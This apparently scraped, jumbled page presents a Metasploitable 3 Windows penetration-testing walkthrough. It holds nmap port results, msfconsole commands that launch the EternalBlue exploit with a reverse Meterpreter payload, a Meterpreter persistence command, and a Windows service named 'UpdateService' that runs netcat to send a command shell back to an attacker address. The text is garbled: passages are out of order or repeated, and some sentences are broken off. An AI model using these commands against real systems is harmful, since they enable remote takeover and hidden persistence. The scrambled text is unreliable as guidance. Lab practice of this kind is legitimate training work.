Metasploitable 3 Windows Walkthrough |link|
Now go break things (legally). Looking for more? Try the "Metasploitable 3 Linux vs Windows" comparison, or set up a domain controller and practice lateral movement with PsExec.
PORT STATE SERVICE VERSION 80/tcp open http Apache Tomcat 6.0.20 135/tcp open msrpc Windows RPC 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Windows 2008 R2 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM) 3306/tcp open mysql MySQL 5.1.66 3389/tcp open tcpwrapped RDP 47001/tcp open http Microsoft HTTPAPI 8182/tcp open unknown SMB (Port 445) – Goldmine: metasploitable 3 windows walkthrough
The gap between a script kiddie and a professional pen tester isn’t knowing the tools—it’s understanding why the exploits work. Metasploitable 3 gives you that context in a safe, repeatable environment. Now go break things (legally)
sc create "UpdateService" binpath= "cmd.exe /k C:\path\to\nc.exe 192.168.56.102 443 -e cmd.exe" start= auto Metasploitable 3 often has two network interfaces : NAT (internet) and Host-Only (192.168.56.x). You can pivot into the host-only network. PORT STATE SERVICE VERSION 80/tcp open http Apache Tomcat 6
run persistence -U -i 10 -p 4444 -r 192.168.56.102
Unlike its predecessor, Metasploitable 3 runs on (or Windows 10/11 via Hyper-V) and includes hundreds of vulnerabilities: outdated software, weak passwords, misconfigured services, and unpatched kernel flaws.
msfconsole msf6 > search ms17-010 msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > set RHOSTS 192.168.56.103 msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 > set LHOST 192.168.56.102 (your Kali IP) msf6 > run If successful (85% of the time), you’ll get a level Meterpreter shell.